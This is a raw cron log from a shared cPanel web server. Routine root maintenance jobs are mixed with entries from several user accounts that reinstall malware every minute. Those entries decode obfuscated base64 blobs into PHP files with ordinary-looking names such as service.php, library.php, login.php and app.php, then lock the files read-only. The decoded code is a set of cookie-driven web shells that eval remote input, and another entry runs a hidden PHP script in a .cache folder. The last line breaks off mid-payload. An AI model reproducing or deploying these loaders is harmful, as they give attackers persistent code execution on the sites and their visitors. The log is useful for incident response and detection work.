Mar  1 03:54:01 medusa CROND[25242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:54:01 medusa CROND[25247]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:54:01 medusa CROND[25257]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:54:01 medusa CROND[25258]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:55:01 medusa CROND[15906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 03:55:01 medusa CROND[15988]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 03:55:01 medusa CROND[15989]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:55:01 medusa CROND[15990]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 03:55:01 medusa CROND[15992]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 03:55:01 medusa CROND[15991]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 03:55:01 medusa CROND[15993]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 03:55:01 medusa CROND[15994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 03:55:01 medusa CROND[15997]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 03:55:01 medusa CROND[16005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:55:01 medusa CROND[16006]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:55:01 medusa CROND[15995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:55:01 medusa CROND[16011]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Mar  1 03:55:01 medusa CROND[16012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 03:55:01 medusa CROND[16003]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 03:55:01 medusa CROND[16013]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:55:01 medusa CROND[16015]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:55:01 medusa CROND[16016]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:55:01 medusa CROND[16021]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:55:01 medusa CROND[16022]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 03:55:01 medusa CROND[16024]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:55:01 medusa CROND[16027]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:55:01 medusa CROND[16000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:56:01 medusa CROND[6383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 03:56:01 medusa CROND[6415]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:56:01 medusa CROND[6416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:56:01 medusa CROND[6417]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:56:01 medusa CROND[6418]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:56:01 medusa CROND[6423]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 03:56:01 medusa CROND[6424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:56:01 medusa CROND[6425]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:56:01 medusa CROND[6426]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:56:01 medusa CROND[6428]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:56:01 medusa CROND[6429]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZ